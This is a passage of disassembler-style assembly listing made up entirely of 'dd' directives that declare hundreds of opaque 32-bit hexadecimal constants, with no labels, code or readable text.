		dd 97FA4E6h, 0FBAE1100h, 0E8F747F9h, 76460029h,	26BFAB0Fh
		dd 41004BEDh, 3152745Ah, 5B8A6Ah, 48F93A42h, 1B53D447h
		dd 7FD96500h, 5C9F0B3Dh, 4D6B0026h, 0B2630787h,	0BA0048F8h
		dd 8C62DFCEh, 0B6327Ah,	7534BDBFh, 0E9AB3839h, 2BD0FC0Eh
		dd 66C63A4h, 60CDDF9Bh,	5124C20h, 762F4DC2h, 0F0E68013h
		dd 4700C84Bh, 0A2CE3C26h, 820133h, 7E498BF6h, 3F8D64C3h
		dd 3CF01800h, 0D8C02297h, 0C8520050h, 56062305h, 71055B86h
		dd 0B89A5363h, 3171880h, 0D47079h, 7CF50F2Fh, 448A7BDEh
		dd 46FCD201h, 0D1B2F3B6h, 1D3DACF4h, 0F99A5A43h, 0D7B57781h
		dd 0D0704272h, 9739FC0Eh, 64CD00C1h, 9D50E7C8h,	0EC244C40h
		dd 12E67650h, 6D6E46h, 5D2D611Eh, 0CA03C2B3h, 52781FEEh
		dd 835698A3h, 73EA0070h, 62795077h, 0CB7BAB96h,	9B5A3502h
		dd 8034CFE9h, 0E8AAF9EFh, 569C0F27h, 0EC07EBEFh, 358FE34Eh
		dd 6FB7201Ch, 39204840h, 5CE181B1h, 0BD0ECECDh,	160096DAh
		dd 0AACB879Fh, 0D61BD100h, 86A7AE02h, 0E4DE7D2Bh, 0F90F888h
		dd 522DFA85h, 4A5B6760h, 28003E54h, 51BBA5E4h, 0F00621h
		dd 0A1EFD6DBh, 0F15A8FA7h, 319FCA01h, 87661A7Ah, 28ED8F4h
		dd 22DD9CD0h, 1141897Fh, 106AF8FBh, 0ACDB3800h,	0B4D1BF0Bh
		dd 2FB5010Fh, 2AC49B5Fh, 0A31E4A5h, 0DF919516h,	0BCFA2C00h
		dd 79EE34AFh, 11AE00E0h, 5CC29848h, 0BB0031D7h,	0CF718CE8h
		dd 546119h, 0D4234FCEh,	0C9B3258Dh, 2BC03107h, 1940D122h
		dd 3DC801A1h, 4983E788h, 6CF9ACB5h, 774FB8C8h, 0D01D5230h
		dd 1F0E6BA5h, 4069D88Bh, 0E9D05963h, 0C31D1554h, 5DC0ACFCh
		dd 0E892E429h, 67650EBDh, 0C66039F0h, 36E00B79h, 0DC8DFC01h
		dd 468847DAh, 3A3A4DE4h, 5406EDAAh, 185C5763h, 0DD1DFB00h
		dd 8DCB9B52h, 0E09CF0A9h, 0D7E826D6h, 0C54400D7h, 0BF065626h
		dd 597A1900h, 4C678647h, 4DA70040h, 0C0695E4Eh,	0D9007FF9h
		dd 547C0A3Ah, 5FC0408h,	0BB192FFEh, 9F2EC164h, 0F6D4504Bh
		dd 0D77BA1CFh, 8C22200h, 881F1127h, 14EF005Fh, 35EA5828h
		dd 0D074565h, 0EC6FD985h, 0E924C20h, 3D2B1FC2h,	34A4C0EEh
		dd 0D92A3A0Fh, 50EFA601h, 0AD7BEAA9h, 0B623F0h,	44A35E91h
		dd 2216D8E0h, 820032F4h, 9B75A450h, 12392Ah, 0A97C09E4h
		dd 8CB190D5h, 76D139h, 14459AFFh, 3C5AC40Fh, 0D81C4D85h
		dd 8FBE4092h, 25B06958h, 3902E7B8h, 0C74BD6B8h,	0E1A4335h
		dd 0D4BE30E0h, 8ACDEE20h, 0CC00D3C8h, 1D3691F2h, 0A9E54Dh
		dd 0D16F773Eh, 47C0BA67h, 2F72E11Ch, 4BB4A80h, 73E578h
		dd 0A0FAB332h, 0C53E3062h, 7F5EB03Bh, 2A69DF00h, 6634FD15h
		dd 58AA000Ch, 84B71F52h, 0B000802Dh, 2F6285E2h,	31C605Ch
		dd 0B4091450h, 44B80FF2h, 80079FBh, 0EAFCA6C4h,	90FAE065h
		dd 74774DBh, 63C0F027h,	0BFB1A003h, 700089Fh, 3D5E854Ch
		dd 50193670h, 38C7B639h, 810058E5h, 0AFB963B0h,	6939616Ah
		dd 17A18186h, 151FF1B6h, 13255CECh, 1403Eh, 42493B16h
		dd 4E0A9D04h, 0A54D7688h, 89EC4800h, 1EA140Bh, 0D959584Ah
		dd 80A3F670h, 28DC10F8h, 0C0012761h, 0CFDBCB9Ch, 40C1A65Eh
		dd 89AB9CEAh, 0C0D407E4h, 18293930h, 3700A6D8h,	0E1310F85h
		dd 849FC1h, 6FD00A02h, 0BA12949h, 0A0AA40h, 8642B96Ch
		dd 0EA44C941h, 46CA5400h, 0DA83D8F4h, 9E842804h, 85B30093h
		dd 30B96790h, 0B7006999h, 6497FDD5h, 118D1h, 7FB01B03h
		dd 8DE326FEh, 9CE9F70Fh, 9571220Ch, 5B0B75F3h, 5303415Ch
		dd 90CEDA0Dh, 0FE514749h, 23EC00BCh, 604BB483h,	0DC3AC395h
		dd 0DE90F0E1h, 0B5E9F800h, 6E012485h, 0F7AF001Bh, 0D5A8B145h
		dd 7200EA8Bh, 0BB13B5C2h, 31E579h, 0A9483432h, 5CCC0460h
		dd 0AF7AAE60h, 1E072262h, 0B0BF73h, 564CE7AAh, 0AE004F3Dh
		dd 12B6CBACh, 318BCF5h,	0C913EB5Ah, 5D910696h, 3654D8BEh
		dd 6940FF63h, 0C0E6807Bh, 22DA000Fh, 0AE1E66CAh, 8B035636h
		dd 3C8892CFh, 4204F80Eh, 2C430059h, 6F6DAD21h, 7E0039E5h
		dd 89C21E61h, 6C28CBh, 0B691F829h, 66D2ADF7h, 549758h
		dd 0DB103236h, 0B84CDC05h, 7B3872BCh, 1827FAE0h, 0F0BADDBCh
		dd 0E2071E43h, 1A5AB8F0h, 0C377ABE0h, 522E0086h, 0C20A0C9Fh
		dd 333B916Fh, 22F50087h, 9C4E6B0Fh, 961B00B0h, 8E5A318h
		dd 4F00FD1Ch, 6B94C1DCh, 0BD9E0Ah, 0BF359695h, 0CD9A30ACh
		dd 0ED008778h, 0E75B2C91h, 7B9738Dh, 5A55658Ah,	474E50E0h
		dd 19004350h, 6096E288h, 1D9A9801h, 4725B321h, 0F0034B2Dh
		dd 0AC12801Dh, 0DB47A300h, 0A22673CDh, 0E9D4003Bh, 0DFEDCA2Fh
		dd 6AFA3072h, 0A1171BFEh, 2FB04D84h, 1AB600E3h,	2DE95054h
		dd 740021CAh, 68F8CC3Ch, 38D58Dh, 5180C49Ch, 8E376348h
		dd 0BD7CA000h, 0E5D0DF26h, 0D37A0750h, 20F65166h, 1E2739D6h
		dd 9026C98h, 3C7D6EEBh,	0CE02618Ah, 702BE3E8h, 0DD8B00D0h
		dd 3EA677E7h, 0D3EC6393h, 9EC68907h, 6620B590h,	3D47B1C8h
		dd 33001696h, 0F462516Ch, 63019B61h, 6F368740h,	86F459D3h
		dd 0AC0C0074h, 0E0BEF09Dh, 0AA003DF8h, 68F24493h, 134BC4h
		dd 14C58C6Ah, 0A5B1516Dh, 0CCA8183Ah, 4B7F074Bh, 6593347Ch
		dd 31ABE8E9h, 0F484E8D1h, 517B0030h, 77A2B3E8h,	3E009D99h
		dd 0CC28ED56h, 73B23BBh, 663ACD2Ah, 0BCB7E3E2h,	0D8B292E0h
		dd 448E4E00h, 7EC22B61h, 7B8E890h, 58CFF398h, 129E408Bh
		dd 717F4016h, 0BA5E8201h, 0C80C2E1Ch, 39BBC8h, 2CDF4793h
		dd 7CCAC554h, 110D5900h, 8CF9FE51h, 1CF77A0Bh, 40016C7Ah
		dd 0F1CD5B06h, 70B8722Eh, 47CE0E00h, 49E3B158h,	17B700E9h
		dd 0AF362F6Dh, 6F01D210h, 0D330D4F2h, 38D4B4E0h, 628F03E8h
		dd 32CE4791h, 9F7E1801h, 48F4F36Ah, 2D6CFCh, 0CC87CA3Fh
		dd 682EA794h, 20072B8h,	72556715h, 819C41h, 3C3A9257h
		dd 457EB02Bh, 0B300A674h, 0E196E5E4h, 0E4E8CFBEh, 20DC00B1h
		dd 62AB2AC9h, 4F39D063h, 80D100FFh, 5D081C4Eh, 5AAE022Dh
		dd 0B8406D06h, 0E546A5E0h, 47996600h, 7B93C6Ah,	7CD4004Eh
		dd 70F5881Eh, 83017A8Fh, 0E85716ABh, 0E0FCE42Dh, 0B23906F9h
		dd 10E795B4h, 34157400h, 232CCF14h, 0B8FF00E3h,	851D6EF3h
		dd 3A00E449h, 2442BA4Fh
		dd 8E81C5h, 7146E7F1h, 0F7983082h, 28387B00h, 0CFA0023Dh
		dd 3ABEC8Fh, 2C961651h,	0C59859C7h, 260070DBh, 7B874527h
		dd 6EB06Ch, 9CFEDFC3h, 0F37E7CD5h, 0A6C73924h, 72AE003Ch
		dd 23FC924Dh, 0C43C009Fh, 4539F781h, 0E6259A91h, 42F405h
		dd 5474C3EDh, 1091C12Dh, 0BC5D1F00h, 18C521C0h,	110BFD4Dh
		dd 1500C714h, 9A7F6FC9h, 0E0281Ah, 0BD9FF217h, 0E6F080F5h
		dd 0A4BCAB00h, 33FB34C8h, 0E40674A3h, 817A18FCh, 2EF3E8F0h
		dd 30C05974h, 0DBBC3B1Ch, 29374E6h, 8806D0D4h, 35604345h
		dd 9C005B1Bh, 0B7567E73h, 75DA5E2h, 0E6C848A3h,	97C0CE9Dh
		dd 0EEF1DF76h, 2DF35600h, 0D71FB96Ah, 0CB5006Fh, 8163D83Dh
		dd 860FE7EBh, 836499FBh, 0E5FE3C84h, 0D29D4804h, 50FBD980h
		dd 547454E4h, 20584230h, 0FDF440ABh, 0EC20FF55h, 0D1001D30h
		dd 0D4226EDAh, 742BB6Bh, 5BAD0C35h, 2724A0A0h, 2500DECAh
		dd 88BF3D57h, 7A68CB6h,	3FC8375Dh, 6DA3D0EEh, 0D17A445Eh
		dd 606CC700h, 5F552792h, 0ACA2008Dh, 0ADB8BEB1h, 0F006BEEh
		dd 2B887E97h, 17B1B32h,	0F2719D89h, 20BB23DDh, 3C00B349h
		dd 7AFBB768h, 395A1DA2h, 0C33E80D6h, 187BD060h,	5B1E653Ah
		dd 83862C2Fh, 6008DCB7h, 52FE2146h, 3E006765h, 5BC9E978h
		dd 0A96D1815h, 71E43588h, 857F01A5h, 0B6E63C4Bh, 342820ABh
		dd 3312D00h, 5A1E743Ah,	50B1F144h, 0CC4E080h, 71650838h
		dd 49C2DC2Fh, 50F80073h, 0E37D6E65h, 6C2D4Ch, 34FDF267h
		dd 2AE07AC1h, 0CEC0DA46h, 0C964D50h, 9B115668h,	0E6B5FE00h
		dd 83BCFBE7h, 8E363FFh,	20003B98h, 0D0B5073Eh, 5AFD75h
		dd 0D9A5872Dh, 4F26F529h, 348E2800h, 3049F14Ah,	0A069C075h
		dd 0FBE598E9h, 370E9376h, 89A343F3h, 2EE0208Fh,	3699E2h
		dd 0DC9CD85h, 39564A9Bh, 4171A8C0h, 8CF310h, 7CAE82E9h
		dd 0F24C808h, 5440B0DFh, 40B72D7Dh, 0EF1C3314h,	21003D09h
		dd 0A27D6CB0h, 0C373C09h, 0FCA825D5h, 0C62EF4A0h, 34001C87h
		dd 0E4E1369Dh, 213A0081h, 0C710BADBh, 0C907B4D2h, 0F0B919EAh
		dd 0AD1D49B0h, 0B0911CD3h, 0D978803Bh, 66962382h, 4AD2D603h
		dd 0C8C503h, 67830758h,	0CA355559h, 0A0604600h,	0D22FB545h
		dd 722C00E2h, 30F59C21h, 521F4963h, 0B743FACAh,	904019E1h
		dd 1F70C4DCh, 800E3E6Bh, 757C665Fh, 0FD03D6D1h,	0A31C2D8Ch
		dd 12A0A00Ch, 0E1BA0099h, 0F8156473h, 0F007909h, 29205332h
		dd 3D605562h, 71B00837h, 5FADD038h, 4739803h, 0E80AF991h
		dd 13472Eh, 56B05B3Ch, 0ABBE3F6Dh, 7D271D00h, 8D67B80Eh
		dd 0AC5A0021h, 4895AADEh, 29054D97h, 0E9724910h, 0EB18CB06h
		dd 90AA48A0h, 0A0EE050Ch, 0DF0694A0h, 5020F18Bh, 1DD2FEE0h
		dd 0C00E5335h, 0AA7354DBh, 2A0C56CBh, 90EAA5FBh, 17370F5Ah
		dd 422011F0h, 0F11D94FDh, 5C0EB6FAh, 0A0D0CC26h, 7C728FB7h
		dd 576B04ACh, 0C003208Dh, 0F9314484h, 927EBD01h, 83173E75h
		dd 7C3384F0h, 63DF3E4Eh, 7325318Ch, 75007710h, 0BE15A216h
		dd 0C88FD6h, 0EAD71926h, 4C7811A5h, 42C4EE00h, 9F021D1Eh
		dd 9824602Fh, 6DD50C73h, 0B90B8401h, 23A6C40Dh,	2E4A07CCh
		dd 634A058h, 319C7A1Fh,	0F2531000h, 446C145Eh, 41862E6Dh
		dd 7EFA008Fh, 965FDE6h,	0E3133738h, 0FC10230h, 0BE563B6Ah
		dd 0CCA2EFE0h, 20C01117h, 22AF1EBBh, 7A70F252h,	0BD7204AEh
		dd 1C8A4D3Ch, 23C07406h, 63F3EE78h, 361F390Ch, 1277A6A0h
		dd 0E40910C0h, 70BA1DBEh, 7C57035Ah, 154C184Ah,	6C25F7h
		dd 0FD08590h, 0C3FA133Eh, 1B730EDh, 2CA56900h, 1CE97DFBh
		dd 634E0E5Dh, 0D204F45h, 73506A82h, 1F480300h, 53608A49h
		dd 0A0375EC1h, 0D00ED17Bh, 0E0258F91h, 49DF6373h, 289DEA53h
		dd 0ABC36Ah, 8C31BC67h,	1458D98Eh, 9A7DBD00h, 0E4D0498Dh
		dd 5C4C90B0h, 0F43C129Bh, 0FAA4FE80h, 353790BEh, 3AD7F200h
		dd 0EDF91912h, 82B603B3h, 0ABCE1791h, 0C88603F1h, 0C47C229Ch
		dd 78213Bh, 0EBE4157Dh,	600F5465h, 3ED530B7h, 218CE45h
		dd 4A1CC4Eh, 857314h, 0A74BFE52h, 2E43D276h, 89EFA500h
		dd 637CBC1Dh, 0FB720098h, 4BDB3054h, 1330FEEBh,	7A034027h
		dd 0C20C74CDh, 7831C350h, 5D8694A0h, 7B00E330h,	0A7F9C426h
		dd 12768C5Bh, 75E9BA2h,	30256DA7h, 0C4A930CAh, 0D49A0B00h
		dd 23BF4E8Fh, 3DEE0EF2h, 0C160B92Ah, 24C47538h,	0EB1F0FFAh
		dd 0E01E0F5h, 4E8CFAE3h, 7467E8h, 0B8BF1561h, 8E5B4427h
		dd 59F15C00h, 4B75B333h, 0D84A00EFh, 0B66589CCh, 803B3240h
		dd 0C0069F97h, 642C12C0h, 3EF36Ah, 23515485h, 90CCDD0Ch
		dd 6D814C12h, 5BC503ABh, 4908E779h, 9CE607FDh, 0AB7C40EEh
		dd 41B5436Ch, 40F0D200h, 4A9127D5h, 2DF04Fh, 15C30FFFh
		dd 336B4314h, 84E5B31h,	99E579B3h, 0F8CCD320h, 0AAA003Eh
		dd 2DD35E2Ch, 0DB307DC0h, 8217286Dh, 0BAB238F9h, 0D05CF00Ch
		dd 0FB18B460h, 6B7842D9h, 0E64180Ch, 4B53C84Eh,	0C9DE9700h
		dd 9D9E15CCh, 0FDC0036Fh, 86C6919Bh, 0A489B801h, 29F68F5Eh
		dd 65A978BBh, 0E9064080h, 4123D5FDh, 98044061h,	49F0D3C2h
		dd 0DA754F01h, 0B412AA44h, 0C23BF0D0h, 0B9A84E90h, 1BE1CD40h
		dd 6DCAA600h, 87E8067h,	862D005Fh, 42B4C01Fh, 0F43D2BE4h
		dd 0FB92003Eh, 87733F9Ah, 46D400F6h, 0F3D706C6h, 80A8F2F0h
		dd 0FC145426h, 0E02066ADh, 8685E8CCh, 976C4F00h, 0A7D1BF9Dh
		dd 31D801CAh, 46C301B4h, 34CC5082h, 1901D640h, 943A727Ch
		dd 0B83008F4h, 0DC50FDCBh, 0AAAFEAh, 55AB18AEh,	340DC622h
		dd 27E7F403h, 0E05DE24Eh, 3FDCEC43h, 0FC548B06h, 1E6200E6h
		dd 0E7547259h, 790050FCh, 24419907h, 786B8A44h,	29EE38FFh
		dd 585A1401h, 47AD60DBh, 0B33ED0F4h, 0D1E66B42h, 2C67F203h
		dd 0F8F9CD0Ch, 0BE24C0Bh, 6353D88Eh, 26CF0C00h,	0D9008BE3h
		dd 433C6BFEh, 71B0C3Bh,	0AA4AF1F0h, 0C6A3C06Dh,	0FD000610h
		dd 2E32951Fh, 124C0F9Eh, 40FAD7A9h, 5DF12D3Ch, 41000D54h
		dd 9B7F72A4h, 71C1995h,	0C8570390h, 0CE22A05Ah,	44004538h
		dd 0A1B3FB20h, 0A6343560h, 7D500098h, 0ED5CC6EAh, 3D008F15h
		dd 0EC764B6Ch, 0E611CCC3h, 52FD0053h, 7C6FD707h, 38C0652Bh
		dd 0FC633A42h, 4C60373h, 55B8DAB2h, 1BF8CF8Bh, 4575C3C0h
		dd 0FF5E781Fh, 674E6980h, 3AB9E862h, 638A2DEAh,	0D0042AF8h
		dd 0E10004FDh, 8CDEAE06h, 3D29429Bh, 7DB08E99h,	537F1820h
		dd 5EBB3E07h, 87B38673h, 8058A774h, 424CE6C9h, 6E4D7DEh
		dd 94AD1400h, 0FCB4A89Bh, 30F0063Ah, 70FF93FDh,	0E4ABDA00h
		dd 0C8EF17EDh, 0D20A3FB9h, 65B07A02h, 7260B5F5h, 0F60C627Fh
		dd 0A85F2BC4h, 2EB200CAh, 0A66EB451h, 0B9F284FBh, 656F36E8h
		dd 0D500B620h, 0D320CBB1h, 683001Ch, 4D19D53Dh,	0A2068CB9h
		dd 7C291D68h, 79752DB0h, 753EBBD6h, 0B1D5670Eh,	0A5F280AEh
		dd 2AA806E2h, 2184906Dh, 0CB809DB5h, 3EBC2A4Ch,	2C448676h
		dd 4CD204BDh, 80F025F9h, 88F83F53h, 21756407h, 0A1C0B15Dh
		dd 0E4DF10F3h, 9CCD1FA5h, 1EC4EAFFh, 0C0845C6Fh, 7C9F0A1Dh
		dd 0F600D5EAh, 22851809h, 90EB59h, 2A3249C5h, 0B9BE045Bh
		dd 7A7F7400h, 6F2CB2E1h, 0B0C97002h, 0E27D0055h, 64523A99h
		dd 821CB393h, 18BAE7B4h, 0D3206EB5h, 0D43F5C91h, 70F9D63Bh
		dd 0CA80765h, 40887A7Ch, 5551770Eh, 506F3307h, 0FB4002B0h
		dd 26A697h, 52782407h
		dd 9C5B8471h, 65051807h, 0E950897Eh, 0F75F056h,	51A1BE53h
		dd 0E1FC4380h, 760EF5CBh, 0E31920A3h, 1815C1C3h, 20AD9109h
		dd 0A2383155h, 0E0007DACh, 0E36BA592h, 14AD95E4h, 0CC0C3206h
		dd 98C11Eh, 22FF9964h, 13075657h, 435004DAh, 0F25933h
		dd 12F8E130h, 478B52AAh, 6F063CFEh, 50CCEA88h, 70B32198h
		dd 0E6A49C80h, 86C2911Ah, 463ED44h, 44E5A254h, 5F01C0D6h
		dd 99DDF009h, 0DFC05BD8h, 66003ACh, 43C35CDh, 0FF953800h
		dd 0FE4B33E5h, 8F9F00F2h, 1C61505h, 5F06E6E2h, 0C5ED6829h
		dd 133C0011h, 0D44204ABh, 0F303B7A8h, 0B5E1EA1Eh, 0D16B8A0h
		dd 5980EB3Ch, 0AAFE158Dh, 290C5397h, 8212D40h, 20EA60E5h
		dd 372454EFh, 0F7311300h, 813A2C34h, 5F6100BEh,	69F2898Dh
		dd 4074B56h, 13E73C47h,	0D0C0EE43h, 1FD9A724h, 3953745Ah
		dd 0CBFBE200h, 0E464DBCCh, 857DEC00h, 454F605Bh, 325900B1h
		dd 6D1FB5F2h, 0D813F113h, 220005B9h, 954C8AFh, 0C194A8EDh
		dd 788400ECh, 2A03624h,	0A3747E64h, 1AD1D40h, 538B3422h
		dd 0CDD27739h, 7D09D8E3h, 942F4414h, 233200C4h,	0C9C8EC1Ch
		dd 7C780234h, 5CDA119h,	6A415BC0h, 6043E12h, 8C3A2830h
		dd 0D560C017h, 0CF3A6F5h, 3C006FE8h, 705AB4AFh,	3FE26265h
		dd 660005B2h, 0FAB90708h, 2D183095h, 2B4898C9h,	0EA6C0063h
		dd 0E6E559ACh, 0D8A10D7Dh, 7E342495h, 5A6C5600h, 33283518h
		dd 928E0031h, 4463AD1h,	0AA0C08BAh, 30FD4882h, 284B0163h
		dd 1C5B79BEh, 5EE85013h, 7803FDA3h, 0BA70B83Ah,	0AF1812ACh
		dd 23A02EDEh, 338D0BEAh, 54AFEC00h, 53545848h, 780F4CA0h
		dd 0A35EA792h, 4E5CF2Dh, 7241BC90h, 60D8878Bh, 0AB33A260h
		dd 0C8BB0B18h, 0A8FF20h, 47BD1C65h, 7B12489Fh, 7ECEEF00h
		dd 5BE2FD7Dh, 1DA1C24h,	0F85E55C8h, 9A84E680h, 0A4438626h
		dd 30217830h, 0D5008B1Eh, 8ED64B76h, 28A6B9EAh,	0AF86D48h
		dd 3FCBE863h, 0E43200E8h, 0FC90E00Ah, 54D0A954h, 6CBF1D8Ch
		dd 1046BFB6h, 1A009159h, 6D3269B7h, 0F40013DFh,	0DB74FD49h
		dd 0A80662CBh, 88B2A58h, 0A0262576h, 243D716Eh,	0C20A8B00h
		dd 44D0C0EFh, 55E931Ch,	1D007697h, 0E59AFF8Fh, 48534C78h
		dd 82D4410h, 20A08ECEh,	0B3971DF4h, 0D88C0FE7h,	21828987h
		dd 210444EFh, 84480A98h, 0BB30E5A9h, 0FD00E775h, 96CA079Dh
		dd 4858D997h, 8002C4F3h, 413C8C25h, 9F7384A3h, 3D5B8900h
		dd 0B2E37AE5h, 66100226h, 13584525h, 0EBD5480h,	5091392Fh
		dd 0BA314E00h, 237C1Dh,	0AA6ACEACh, 0E9CA0B7h, 1A1EF209h
		dd 0D6548208h, 4F7849A5h, 2B6C2E14h, 0CF01B473h, 0F63AD925h
		dd 8020E025h, 4C00841Bh, 6990A940h, 30C2378Ah, 0DA09E098h
		dd 4B007CFFh, 26C152A0h, 75A1F2CBh, 7DE500F1h, 51328D2h
		dd 2F4CF44Eh, 0D7E40071h, 0F5413FE2h, 764C009Bh, 6040623Ah
		dd 6A00DCF8h, 6F4EA15Ch, 6306F3D9h, 4BF208D6h, 72B22000h
		dd 0E0DC875Ch, 0EBE60173h, 6FB0FA4Eh, 2490C64Bh, 0A25C2361h
		dd 24D82ACAh, 0D31920h,	0EF5C698Fh, 0ECE026DDh,	85C64F00h
		dd 0C1782B10h, 243200C9h, 0CB92919Ch, 2A00FDCAh, 6916A639h
		dd 0B833466Fh, 61D81F53h, 0F6E600E4h, 154212AAh, 0F04B6E0Ah
		dd 7481443Bh, 0DF49035Ch, 88DA6848h, 5C00B03Ch,	9720A7EAh
		dd 0F4827923h, 7CF30024h, 4C81F5FCh, 2503A960h,	0A6CFDC86h
		dd 7DCCC86Dh, 0FCFD3068h, 5D9CD821h, 3E7934Ch, 1375F978h
		dd 36BA37Ch, 5DCD5B21h,	0A2D871D1h, 223470F8h, 0DC0080D4h
		dd 0E4C2022Ah, 4011C0F7h, 8A6F9317h, 0F4B32729h, 1C023688h
		dd 0B49300E6h, 1A9B78B2h, 0E4DE8B28h, 3E05F00h,	4EB0CF29h
		dd 0F2D51416h, 5921A854h, 45569020h, 5C7302D4h,	311749FCh
		dd 419050C0h, 1F0E5CC3h, 404DE222h, 0B361201h, 63091EDFh
		dd 3E5480AAh, 6C617F45h, 0FC82CC01h, 21F2C85Dh,	0C7848887h
		dd 783E1011h, 0E1F44E7h, 0F800CD9Ch, 0C475430Ch, 226E814Ch
		dd 4BFDF120h, 493D990Ch, 86351807h, 0C1D31348h,	25E27C21h
		dd 7F40D0DDh, 0B0DF022Bh, 6290A000h, 86E15F89h,	48FFD820h
		dd 5003B43Bh, 0DD91C5D4h, 0D3DF9588h, 5E40400h,	3D5E46C2h
		dd 64C9003Ch, 2A11DC7Ch, 0FE005476h, 0DBF4296Ah, 0E45C8D1Fh
		dd 0B5060020h, 6505FA49h, 0EE3C1BA3h, 537700C2h, 8EC528A1h
		dd 0B6403AB5h, 6109E89Bh, 3E043043h, 0F74862E5h, 3A0CBDEEh
		dd 0D7CF3056h, 0B9F787A0h, 82036DEEh, 45CED572h, 42187452h
		dd 88A921BBh, 9D44BA34h, 9B2AC31h, 0EB08D0E9h, 4320D822h
		dd 42A83A59h, 88D1A110h, 37F5647Ch, 300A9C95h, 56880CBDh
		dd 3211449Dh, 0E53CA5EFh, 24EA0C5Eh, 8921F943h,	0CE05ED91h
		dd 1DF263D3h, 0C8D081ACh, 0F1FA6191h, 0C308DAh,	1DBE967Eh
		dd 1EAD8DF7h, 0EC42052h, 60025708h, 0E43B9074h,	0E873AB5h
		dd 77051A40h, 353111D2h, 60CC854h, 730B8CB4h, 653700BCh
		dd 0B7BB4B11h, 0D501BFB5h, 0E3A657ECh, 688C389Eh, 770849CFh
		dd 0E4A5FB18h, 1F7E4576h, 0C169D9E0h, 6384BAE9h, 0C34C4C68h
		dd 0FB310A18h, 0F086410h, 0F18613DBh, 0B4AE48A0h, 78006DEFh
		dd 64255514h, 573653h, 0B5B6F8B1h, 0CE085F7Bh, 21F53E00h
		dd 0EB6B9346h, 0E5203E11h, 0D1925780h, 6A708CECh, 1AF11CACh
		dd 0EFC14500h, 5DA98FA8h, 7AD63100h, 42D959CFh,	0C08D5239h
		dd 632FFEA2h, 3408DDAEh, 405B48h, 10E3EF14h, 0EC402F4Bh
		dd 77B60741h, 0C124E426h, 0D0EFB152h, 5CACCA29h, 42554C00h
		dd 111D3B73h, 727FBCh, 0A7164F2h, 787A82C6h, 0DB8D5B18h
		dd 368B34h, 4A907705h, 0D7754799h, 80C06D48h, 9BAFC678h
		dd 0A83090CCh, 0F631D010h, 0BB40CC60h, 21042C29h, 23B75569h
		dd 0D18CEA03h, 0F0ECB021h, 6F463EA1h, 264C3CA4h, 80378C00h
		dd 0B027ECB3h, 0D08502FBh, 0FE9AA624h, 21C92840h, 0DE228098h
		dd 0B65F2A40h, 0B443E80h, 8C9C2704h, 0C98490A9h, 86F066ECh
		dd 0FA4914Dh, 0E029F339h, 0F6339706h, 8749321h,	74E511h
		dd 599A4001h, 0E4CA1B4h, 9329DB03h, 1DFB8166h, 247542D1h
		dd 13E08CCh, 0A34F9209h, 0E77FED94h, 0C9A6EA77h, 614B0131h
		dd 9A3776F8h, 2E8044F0h, 6C9898ACh, 64A80FAEh, 3904E577h
		dd 12948B57h, 0D428EFF9h, 73511537h, 0AFC4470h,	982049h
		dd 0AA096978h, 4C615254h, 87B3042Bh, 25EC28C0h,	0A5710100h
		dd 5D6DC52Fh, 2445F6FEh, 76E8D33Dh, 8580DCADh, 6A40ECF0h
		dd 6D4701DCh, 0C0886684h, 8494F29Ch, 0C90AF302h, 0A029E296h
		dd 51C7A8A0h, 798F0E36h, 76E00844h, 496DAF1Ch, 0E60AAB7Ch
		dd 98B139DCh, 60B46B0Fh, 0CE7451F6h, 9A8B176h, 0CC8057D6h
		dd 20C31387h, 2974D105h, 0D008377Bh, 0C1496483h, 0F4763E80h
		dd 0C524CF6Dh, 89576413h, 8B37813h, 0AC9B85D3h,	0E3C026E0h
		dd 0ECF848EEh, 2DCF011Fh, 0F004109Dh, 0C8AFB37h, 61958CF1h
		dd 6AD88964h, 4D0418E6h, 351D023Dh, 29283C9Ah, 57FCD888h
		dd 0D893C831h, 30389507h, 1E552EF4h, 1B9B7314h,	493F180h
		dd 0C528DE04h, 0E89AE0D6h, 3859044h, 0DE72BEBAh, 2013EC0Fh
		dd 7C06D746h, 4011EFB7h, 0EE441A14h, 22647855h,	0DC390531h
		dd 10DD2165h, 41C673A4h, 9979E0AFh, 0BAD30CFCh,	0BCBABFF0h
		dd 833FD002h, 49105936h, 0B0863A40h, 0D05A5D97h, 51401CB0h
		dd 7BDCA002h, 8DE40308h, 82C0B281h, 0DA9C4941h,	0E3D8F882h
		dd 6878CC68h, 0DD4094E3h
		dd 0B76617C0h, 48CC900Ch, 0A1B8B2BAh, 0AC425C00h, 19F86422h
		dd 40C6D3E5h, 0FFA088B4h, 0F8A90260h, 38501138h, 2036E481h
		dd 0A0AABCC8h, 0E190C40Ah, 0D0EAD107h, 0D60DA05h, 31A34299h
		dd 0DC450E2Bh, 478021FCh, 20A79A5Bh, 0DE1F5E00h, 6EF5CCF8h
		dd 0D7B30005h, 84FD25DAh, 9C15FA5Dh, 0F42A87h, 6CEEC592h
		dd 60E85F04h, 126E80B9h, 25F24509h, 96248D7Fh, 9A800CC6h
		dd 17A2CC2Ah, 0E7190008h, 63A356E3h, 0A0005B3Bh, 721EB87Dh
		dd 0F7500585h, 44E9D0h,	0DAC05AE6h, 9D38B037h, 90E5EE25h
		dd 0F7BD2Ch, 8D62BEC4h,	88A06558h, 3F003BF6h, 1C9324DFh
		dd 737236DAh, 109227h, 0CDA1B195h, 0E12FC75Dh, 992D1503h
		dd 0A8EEBDC5h, 41D7BC2h, 9766371Eh, 3344B2BBh, 0F5D54170h
		dd 0DD12681Fh, 23350C8h, 0BCD3AF28h, 84C835D8h,	79E8F7B8h
		dd 0A47B3Eh, 9BCF6257h,	0DD58D1h, 0AC78445Bh, 1831F8C0h
		dd 6B3349C1h, 0FAC8B09Ah, 0D0CF01CAh, 96986274h, 798C2CB2h
		dd 0F5CFC00h, 0EBB36BFBh, 0D67B84h, 8893A251h, 0F55989EDh
		dd 80353B3Eh, 0F0479024h, 2BE5B6Fh, 0D57769F8h,	0BCC0EB03h
		dd 580E4F2Dh, 8F757FE6h, 3E9601BEh, 31891F88h, 75009417h
		dd 0C22E838h, 39A1F907h, 13900D3Fh, 0C0242C76h,	0FC11E738h
		dd 941E4DD1h, 3031B436h, 7F01F6ACh, 8F060FDAh, 6109D27Ah
		dd 8CA44C3Bh, 38AF1F39h, 0C1D343BFh, 7C5B79DAh,	1C4EC11h
		dd 0FF0201BFh, 9508389Ch, 886BDD1Fh, 7F0A9A8Ch,	87D86C01h
		dd 3C121075h, 2F537F23h, 4CC90210h, 1EE5118h, 95D57DCCh
		dd 0B048B288h, 78F3B151h, 866C8095h, 9D7CD556h,	0E3625A06h
